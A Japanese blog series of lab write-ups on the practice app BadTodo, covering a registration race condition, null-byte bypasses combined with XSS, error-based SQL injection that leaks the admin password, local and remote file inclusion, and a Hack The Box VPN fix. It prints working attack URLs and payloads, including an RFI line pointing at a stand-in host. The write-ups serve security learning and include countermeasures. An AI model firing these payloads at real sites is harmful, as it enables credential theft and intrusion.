やられアプリ BadTodo - 26 TOCTOU競合

前回:やられアプリ BadTodo - 25.4 NULLバイト攻撃(POSTリクエストの場合) - demandosigno

TOCTOU(トックトゥー)Time of check to Time of use.
ある条件をチェック (check) したあと、その結果を行使 (use) するまでに変更が発生することで引き起こされるバグの一種。競合状態の一例。

まったく同一のIDで登録できてしまう。同一のファイル名でアップロードできてしまう。その結果、本来のユーザーでない人に機密情報が洩れる事故などが想定されます。

というわけで、最初はBadTodoの新規登録部分に目を付けて確認してみました。実際下記の記事でもそこが言及されています。
www.itmedia.co.jp

しかしながら「Docker版 BadTodo Ver 2.1.0」では新規登録部分に問題は見つけられませんでした。(確認漏れの点がある気がしますので引き続き探します)
「Ver 1.1.0」の方には問題がありましたので順に記載します。

BadTodo Ver 2.1.0 に対して

新規ユーザー登録時に、同一ユーザー名でほぼ同時に登録作業を行うという方法で確認しました。

ab コマンド (Apache Bench)を使います。Apacheに標準で付いているWEBサーバの性能を計測するためのコマンドです。
GETリクエストの場合。
$ ab -c 20 -n 40 "http://{検査対象アドレス}/todo/adduser.php"
POSTリクエストの場合。
$ ab -c 20 -n 40 -p ab_post_data.txt -T "application/x-www-form-urlencoded" "http://{検査対象アドレス}/todo/adduser.php"

-c : concurrency 同時実行(並列数)
一度に実行する複数のリクエスト数。デフォルトは一度に一つのリクエスト。
-n : requests リクエスト数
実行するリクエスト数。デフォルトは単一のリクエストで、これは通常、偏ったベンチマーク結果に繋がります。
今回の例は20スレッドで40リクエストを送信。
-p : POSTファイル
POST Bodyパラメータを記載したファイル。同時に -T オプションの指定も必要。
今回の例 ab_post_data.txt の中身。 id=toctou2&pwd=toctou&email=toctou2%40example.com&iconfname=656b26f258d99-man1.png
-T : content-type
POST/PUTの際のContent-type headerの指定。今回は application/x-www-form-urlencoded。デフォルトは text/plain。

$ ab -c 20 -n 40 -p ab_post_data.txt -T "application/x-www-form-urlencoded" "http://{検査対象アドレス}/todo/adduser.php"
This is ApacheBench, Version 2.3 <$Revision: 1903618 $>
~(後略)~

ベンチマーク結果が出ますが、それ自体は不要なため省略。

データベースを確認すると、増えたのは1件のみで重複はありませんでした。

ソースコード(adduser.php)を見ると

<?php
~(前略)~
function adduser($app, $userid, $pwd, $email, $icon, $super) {
  $errmsg = array();
  try {
    $dbh = dblogin();
    $dbh->beginTransaction();

    $sql = "SELECT COUNT(*) FROM users WHERE userid=?";
    $sth = $dbh->prepare($sql);
    $sth->execute(array($userid));
    $count = $sth->fetchColumn();
    if ($count > 0) {
      $errmsg[] = 'ユーザIDが重複しています';
    }
    $sql = "SELECT COUNT(*) FROM users WHERE email=?";
    $sth = $dbh->prepare($sql);
    $sth->execute(array($email));
    $count = $sth->fetchColumn();
    if ($count > 0) {
      $errmsg[] = 'メールアドレスが重複しています';
    }
    if (! empty($errmsg)) {
      $dbh->rollBack();
      return $errmsg;
    }

    rename("temp/$icon", "icons/$icon");
    @unlink("temp/_64_$icon");   // 縮小画像を削除しておく 2023/1/5
    $sql = "SELECT MAX(id) FROM users";
    $sth = $dbh->query($sql);
    $maxid = $sth->fetchColumn();
    
    $sql = 'INSERT INTO users VALUES(?, ?, ?, ?, ?, ?)';
    $sth = $dbh->prepare($sql);
    $rs = $sth->execute(array($maxid + 1, $userid, $pwd, $email, $icon, $super));
    $dbh->commit();
  } catch (PDOException $e) {
    $app->addlog('クエリに失敗しました: ' . $e->getMessage());
    if (isset($dbh)) {
      $dbh->rollBack();
    }
    return array('只今サイトが大変混雑しています。もうしばらく経ってからアクセスしてください');
  }
  return array();
}

登録時にユーザーIDまたはメールアドレスが既に存在する場合はエラー。そうでなければMAX(id)に +1 して新規登録、となっています。
例えば次のような流れで登録されたとすると双方エラーとならないため、ダブって追加されるはずです。

下記はAdminerから手動で追加してダブらせた例。

そうならないようにデータベースにはトランザクションという仕組みがあります。
MySQL :: MySQL 8.0 リファレンスマニュアル :: 13.3.1 START TRANSACTION、COMMIT および ROLLBACK ステートメント

DBMSに対して複数のSQLを送る際、1つ以上のSQL文をひとかたまりとして扱うよう指示することができます。
「一部だけが実行されることはあってはならない、途中で分割不可能なもの」として取り扱います。
・停電などでトランザクションの処理が中断されたり
・トランザクションの途中で、他の人の処理が割り込んだ場合
自動的にロールバックが行われます。
トランザクションに含まれる複数のSQL文が、DBMSによって不可分なものとして扱われる性質のことをトランザクションの原子性(atomicity)といいます。
(スッキリ分かるSQL入門。第1版 第9章より)

今回の場合、
$dbh->beginTransaction();
$dbh->commit();
の間に「IDチェック」と「新規追加」のSQLがあり、両方が終わるまで内部でロックされ他のトランザクションから分離されます。仮に自分が読み書きしている行を他人がロックしている場合、その相手のトランザクションが完了するまで自分は待たされます。そして何か問題があれば
$dbh->rollBack();
されます。
ロックがたくさん発生するとDBの動作が遅くなってしまう点には注意が必要です。

検査実行時のクエリを確認すると「START TRANSACTION」から「commit」まで一連の流れとなっています。

1047 Connect  root@172.18.0.4 on todo using TCP/IP
1047 Query    SET NAMES utf8
1047 Query    SELECT COUNT(*) FROM session
1047 Query    SELECT data, expire FROM session WHERE id='17a2ebf0fbbde9da0dd4fcd25aea4483'
1048 Connect  root@172.18.0.4 on todo using TCP/IP
1048 Query    SET NAMES utf8
1048 Query    START TRANSACTION
1048 Query    SELECT COUNT(*) FROM users WHERE userid='toctou'
1048 Query    SELECT COUNT(*) FROM users WHERE email='toctou@example.com'
1048 Query    SELECT MAX(id) FROM users
1048 Query    INSERT INTO users VALUES('5', 'toctou', 'toctou', 'toctou@example.com', '656b26f258d99-man1.png\n', '0')
1048 Query    commit

問題があるような流れの場合は「rollback」されています。(下記はそもそも一つ目が登録されてしまった後のため「重複エラー」の方でひっかかっているはずですが)

1070 Query    START TRANSACTION
1073 Query    START TRANSACTION
1071 Quit
1070 Query    SELECT COUNT(*) FROM users WHERE userid='toctou'
1073 Query    SELECT COUNT(*) FROM users WHERE userid='toctou'
1072 Query    SELECT data, expire FROM session WHERE id='6d2e402d214e47eddd37f106b7bd37b0'
1069 Query    SELECT COUNT(*) FROM users WHERE email='toctou@example.com'
1070 Query    SELECT COUNT(*) FROM users WHERE email='toctou@example.com'
1073 Query    SELECT COUNT(*) FROM users WHERE email='toctou@example.com'
1069 Query    rollback
1073 Query    rollback

その他、トランザクションに関係する設定を確認してみました。
自動コミットモードが有効であるか。

> SELECT @@autocommit;
+--------------+
| @@autocommit |
+--------------+
|            1 |
+--------------+

デフォルトでは、MySQL は自動コミットモードが有効になった状態で動作します。 つまり、特にトランザクション内にない場合、各ステートメントは START TRANSACTION および COMMIT で囲まれているかのようにアトミックです。 ROLLBACK を使用して効果を元に戻すことはできませんが、ステートメントの実行中にエラーが発生した場合、ステートメントはロールバックされます。
MySQL :: MySQL 8.0 リファレンスマニュアル :: 13.3.1 START TRANSACTION、COMMIT および ROLLBACK ステートメント

トランザクション分離レベル

> SELECT @@GLOBAL.tx_isolation, @@tx_isolation;
+-----------------------+-----------------+
| @@GLOBAL.tx_isolation | @@tx_isolation  |
+-----------------------+-----------------+
| REPEATABLE-READ       | REPEATABLE-READ |
+-----------------------+-----------------+

REPEATABLE-READ : 「ファントムリード」発生の恐れあり。
ファントムリード:2回の SELECT文の間に、他の人が INSERT文で行を追加すると、2回の SELECTで結果行数が変わってしまう副作用。1回目の検索結果の行数に依存するような処理を行う場合に問題となることがある。

その他。「id カラム、userid カラム」に一意制約(UNIQUE)がありません。排他制御が十分でない場合、id の重複が発生する可能性があります。(実際、前述の「手動で追加してダブらせた例」では id, userid を重複させて登録できています)

MariaDB [todo]> show columns from users; (> DESC users; でもよい)
+--------+--------------+------+-----+---------+-------+
| Field  | Type         | Null | Key | Default | Extra |
+--------+--------------+------+-----+---------+-------+
| id     | int(11)      | NO   |     | NULL    |       |
| userid | varchar(64)  | NO   |     | NULL    |       |
| pwd    | varchar(6)   | NO   |     | NULL    |       |
| email  | varchar(64)  | NO   |     | NULL    |       |
| icon   | varchar(128) | NO   |     | NULL    |       |
| super  | int(11)      | NO   |     | 0       |       |
+--------+--------------+------+-----+---------+-------+
 
一意制約を追加する場合。
今回の場合は「主キー」もないため id の方を主キーとして追加します。
MariaDB [todo]> ALTER TABLE `users` ADD PRIMARY KEY(id);
MariaDB [todo]> ALTER TABLE `users` ADD UNIQUE(userid);
MariaDB [todo]> show columns from users;
+--------+--------------+------+-----+---------+-------+
| Field  | Type         | Null | Key | Default | Extra |
+--------+--------------+------+-----+---------+-------+
| id     | int(11)      | NO   | PRI | NULL    |       |
| userid | varchar(64)  | NO   | UNI | NULL    |       |
| pwd    | varchar(6)   | NO   |     | NULL    |       |
| email  | varchar(64)  | NO   |     | NULL    |       |
| icon   | varchar(128) | NO   |     | NULL    |       |
| super  | int(11)      | NO   |     | 0       |       |
+--------+--------------+------+-----+---------+-------+
 
これによりダブって追加されるとエラーになる。
MariaDB [todo]> INSERT INTO `users` (`id`, `userid`, `pwd`, `email`, `icon`, `super`)
    -> VALUES ('5', 'toctou', 'toctou', 'toctou@example.com', '656b26f258d99-man1.png', '0');
ERROR 1062 (23000): Duplicate entry '5' for key 'PRIMARY'
 
元に戻す。
MariaDB [todo]> ALTER TABLE `users` DROP PRIMARY KEY;
MariaDB [todo]> ALTER TABLE `users` DROP INDEX `userid`;

実習用仮想マシン(Docker版 Ver 1.1.0) *1の場合

排他制御がないため重複したIDで登録できます。(Ver 1.1.0の登録直前の adduser.phpではそもそも重複のチェックすら行っていないため abコマンドで連続して送信する必要もなく手動でも可能です。またこちらでは「id」カラムに一意制約が付いていました)

$ ab -c 20 -n 40 -p ab_post_data2.txt -T application/x-www-form-urlencoded http://{検査対象アドレス}/todo/adduser.php

www.youtube.com

www.youtube.com

次回:やられアプリ BadTodo - 26 レースコンディション - demandosigno

*1:ダウンロードから(要認証)パスワードは「安全なWebアプリケーションの作り方 第2版 p.667に記載」

やられアプリ BadTodo - 25.3 NULLバイト攻撃(+XSS)

前回:やられアプリ BadTodo - 24.2 NULLバイト攻撃(+SQLインジェクション) - demandosigno

前回と同じ場所で今度はXSSを試します。

入力値
https://todo.example.jp/api/v1/is_valid_id.php?id=hoge%00%3Cscript%3Ealert(1)%3C/script%3E

Nullバイト(%00)を入れているためバリデーションは回避できているようです(true)
しかし入力値が何も出力されないためXSSは発動しません。
(JSONを返しているのに Content-Type が application/json ではなく text/html であることも問題の一つですがまた後日)

前回SQLインジェクションを試した際に、シングルクォーテーション' = %27の入力でSQLエラーを出せることが分かりました。
試しに%27と少しの文字列を入れてみます。
https://todo.example.jp/api/v1/is_valid_id.php?id=hoge%00%27hoge
これで入力値をレスポンスに出力できそうです。

さらにスクリプトを追加してみます。
https://todo.example.jp/api/v1/is_valid_id.php?id=hoge%00%27hoge%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
表示上はこう。

ソース上はこう。

ダブルクォーテーションやスラッシュが円記号¥(バックスラッシュ)でエスケープ処理されています。

そこで / を使わないイベントハンドラのスクリプトで試します。
https://todo.example.jp/api/v1/is_valid_id.php?id=hoge%00%27hoge%3Cimg%20src=0%20onerror=%27alert(1)%27%3E
XSSが発動しました。
ソース上では次の通り。
img の src=0 としているため存在せず error イベントが発生します。

対策

安全なWebアプリケーションの作り方 第2版 p.108より引用
ヌルバイト攻撃に対する根本的対策は、バイナリセーフの関数のみを用いてアプリケーションを開発することですが、現実にはそれは困難です。なぜなら、ファイル名のように仕様上ヌルバイトを許容しないパラメータがあるからです。このため、アプリケーションの入り口でバイナリセーフの関数を用いて入力値のヌルバイトをチェックし、ヌルバイトがあればエラーにすることにより確実な対応が可能になります。

teratail - ヌルバイト攻撃について

できるだけ新しいPHPを使う。
PHP5.3.4以降ではヌルバイト攻撃対策がされています。 t-komura.hatenadiary.org

次回:やられアプリ BadTodo - 25.4 NULLバイト攻撃(POSTリクエストの場合) - demandosigno

やられアプリ BadTodo - 25.2 NULLバイト攻撃(+SQLインジェクション)

前回:やられアプリ BadTodo - 24.1 NULLバイト攻撃(+ファイルインクルード) - demandosigno

新規ユーザー登録時などにバリデーションチェックが入り(記号などの入力はダメで)「英数字で」と注意されます。

この時のチェックはAPIが行っているのですが、このidパラメータにSQLインジェクションがあります。

まず、問題ない入力の場合。
https://todo.example.jp/api/v1/is_valid_id.php?id=test
true が返ってきます。

次にSQLインジェクションを試します。
BadTodo - 3.4 SQLインジェクション ID・パスワードの取得で試した「エラーメッセージに情報を埋め込む」方法を使います。(MySQLのextractvalue関数を使いXPATHのエラーを起こし、サブクエリの結果をCONCATで展開して目的の文字列を取得する)

https://todo.example.jp/api/v1/is_valid_id.php?id=test%27%20AND%20EXTRACTVALUE(0,(SELECT%20CONCAT(%27$%27,userid,%27:%27,pwd)%20FROM%20users%20LIMIT%200,1))+--+
バリデーションチェックにより攻撃文字列を通すことができず通常のエラーになります。

ここで前回BadTodo - 24.1 NULLバイト攻撃(+ファイルインクルード)と同じくNULLバイト(%00)を追加します。
https://todo.example.jp/api/v1/is_valid_id.php?id=test%00%27%20AND%20EXTRACTVALUE(0,(SELECT%20CONCAT(%27$%27,userid,%27:%27,pwd)%20FROM%20users%20LIMIT%200,1))+--+
するとAdminのユーザー名とパスワードを表示させることができました。

ソースコード is_valid_id.php にて ereg() という正規表現関数を用いて値を検証しているのですが、前回と同じくこちらもバイナリセーフではない関数なので%00で検査対象文字列が終わっていると判断されチェックをすり抜けます。

<?php
~(中略)~
if (!ereg('^[a-zA-Z0-9]{3,16}$', $userid)) {
    echo '{"ok": false, "message": "ユーザIDは英数字で3文字以上、16文字以内で指定してください"}';
    exit;
}

ereg関数は PHP 5.3.0 で非推奨となり、PHP 7.0.0 で削除されました。

次回:やられアプリ BadTodo - 24.3 NULLバイト攻撃(+XSS) - demandosigno

やられアプリ BadTodo - 25.1 NULLバイト攻撃(+ファイルインクルード)

前回:やられアプリ BadTodo - 24 適切でないアップロートファイル制限 - demandosigno

Todoリストを「完了」にしたり「削除」や「エクスポート」する際に走るリクエストhttps://todo.example.jp/editlist.phpにはprocessというパラメータがありますが、これにファイルインクルードの脆弱性があります。

ここでは「完了」ボタンで試します。BurpSuiteのインターセプトをONにしてから「完了」をクリックし、POSTパラメータをprocess=../../../../../etc/passwdと書き換え送信します。参考 : BadTodo - 7 リモート・ファイルインクルード(RFI)


この結果は"require(../../../../../etc/passwd.php): failed to open stream"というエラーになりました。ファイル名がpasswd.phpとなっています。どうやら入力値の後ろに.phpを付加する仕様のようです。この拡張子がなければいけるかもしれません。

そこで次はprocess=../../../../../etc/passwd%00のように%00を追記して送信します。

/etc/passwd が表示されました。

エラーメッセージが表示された際に require() と記述がある通り、ここでは require 関数が使われています。require() は include() とほぼ同じで指定されたパスからファイルを読み込みます。
PHPの allow_url_include 設定が有効化(On)されている場合、ローカルなパス名の代わりにURLを用いて読み込むファイルを指定することが可能です。
PHP: require - Manual
PHP: include - Manual

そして require() はバイナリセーフではない関数です。PHPはC言語から直接輸入された関数も多いのですが、C言語には「\0」「\x00」「%00」を文字列の終端とみなす取り決めがあります。「%00」は値ゼロのバイトすなわちヌルバイトです。バイナリセーフではない関数はヌルバイトを終端として取り扱います。このためPHPスクリプト側で付加している「.php」という拡張子が無効になり/etc/passwdが表示されます。

PHPでバイナリセーフではない関数をまとめた。 - Security Record

逆にバイナリセーフの関数はこういった制御文字をきちんと処理するため「\0」「\x00」「%00」などが挿入されていても終端として取り扱いません。

NULLバイト攻撃は単独で攻撃が成立する例はまれで、通常は他の脆弱性の対策をかいくぐるために悪用されます。

リモートファイルインクルード

上でも書きましたが allow_url_include 設定がONのためリモートのファイルインクルードも同様に可能です。

process=http://trap.example.org/dump.php%00で送信。

参考情報

次回:やられアプリ BadTodo - 24.2 NULLバイト攻撃(+SQLインジェクション) - demandosigno

Hack The Box OpenVPN 接続エラー

Hack The Box にチャレンジしていこうと思ったが、初っ端のOpenVPNで接続する時点でもうつまずいた。

Hack The Box のウェブページ上でVPNの接続先を選択し .ovpn 接続設定ファイルをダウンロード後。Kali Linux の端末で下記コマンドを打ちこむとエラー。

$ sudo openvpn starting_point_demandosigno.ovpn 
2023-11-22 19:55:29 WARNING: Compression for receiving enabled. Compression has been used in the past to break encryption. Sent packets are not compressed unless "allow-compression yes" is also set.
2023-11-22 19:55:29 Note: --data-cipher-fallback with cipher 'AES-128-CBC' disables data channel offload.
2023-11-22 19:55:29 OpenVPN 2.6.7 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] [DCO]
~(中略)~
2023-11-22 19:55:30 net_iface_up: set tun0 up
2023-11-22 19:55:30 net_addr_v6_add: dead:beef:2::1087/64 dev tun0
2023-11-22 19:55:30 sitnl_send: rtnl: generic error (-13): Permission denied
2023-11-22 19:55:30 Linux can't add IPv6 to interface tun0
2023-11-22 19:55:30 Exiting due to fatal error

"Linux can't add IPv6 to interface tun0"とのことなのでIPv6関連かなと思う。

IntroductionConnection TroubleshootingにQ&Aがありました。

説明
ラボへの接続には IPv6 が必要です。お使いの Linux OS で IPv6 が現在オフになっているため、このエラーが表示されます。
解決方法
cat /proc/sys/net/ipv6/conf/all/disable_ipv6 に 0 と表示されている場合は、IPv6が有効になっていることを意味します。1が表示されている場合は sysctl net.ipv6.conf.all.disable_ipv6=0 コマンドを押して有効にすることができます。

修正

$ cat /proc/sys/net/ipv6/conf/all/disable_ipv6
1
 
$ sysctl net.ipv6.conf.all.disable_ipv6=0
sysctl: permission denied on key "net.ipv6.conf.all.disable_ipv6"
 
$ sudo sysctl net.ipv6.conf.all.disable_ipv6=0
net.ipv6.conf.all.disable_ipv6 = 0
 
$ cat /proc/sys/net/ipv6/conf/all/disable_ipv6
0

再度 OpenVPN

$ sudo openvpn starting_point_demandosigno.ovpn
2023-11-22 19:55:07 WARNING: Compression for receiving enabled. Compression has been used in the past to break encryption. Sent packets are not compressed unless "allow-compression yes" is also set.
2023-11-22 19:55:07 Note: --data-cipher-fallback with cipher 'AES-128-CBC' disables data channel offload.
2023-11-22 19:55:07 OpenVPN 2.6.7 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] [DCO]
~(中略)~
2023-11-22 19:55:08 net_iface_up: set tun0 up
2023-11-22 19:55:08 net_addr_v6_add: dead:beef:2::1087/64 dev tun0
2023-11-22 19:55:08 net_route_v4_add: 10.10.10.0/23 via 10.10.14.1 dev [NULL] table 0 metric -1
2023-11-22 19:55:08 net_route_v4_add: 10.129.0.0/16 via 10.10.14.1 dev [NULL] table 0 metric -1
2023-11-22 19:55:08 add_route_ipv6(dead:beef::/64 -> dead:beef:2::1 metric -1) dev tun0
2023-11-22 19:55:08 net_route_v6_add: dead:beef::/64 via :: dev tun0 table 0 metric -1
2023-11-22 19:55:08 Initialization Sequence Completed
2023-11-22 19:55:08 Data Channel: cipher 'AES-256-CBC', auth 'SHA256', peer-id: 73, compression: 'lzo'
2023-11-22 19:55:08 Timers: ping 10, ping-restart 120

Once the Initialization Sequence Completed message appears, you can open a new terminal tab or window and start playing.
Please note that you must keep this terminal window open to keep the OpenVPN process running. https://help.hackthebox.com/en/articles/5185687-introduction-to-lab-access

とのことですので、接続できました。
ブラウザ上でも"ONLINE"になっています。

トンネルインターフェース(tun0)ができています。

$ ip a
~(前略)~
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500                                               
    link/none                                                                  
    inet 10.10.14.137/23 scope global tun0                                     
       valid_lft forever preferred_lft forever                                 
    inet6 dead:beef:2::1087/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::a60c:42ff:fc04:f9a1/64 scope link stable-privacy 
       valid_lft forever preferred_lft forever
~(後略)~

Hack The Boxを楽しむためのKali Linuxチューニング #Security - Qiita

/* -----codeの行番号----- */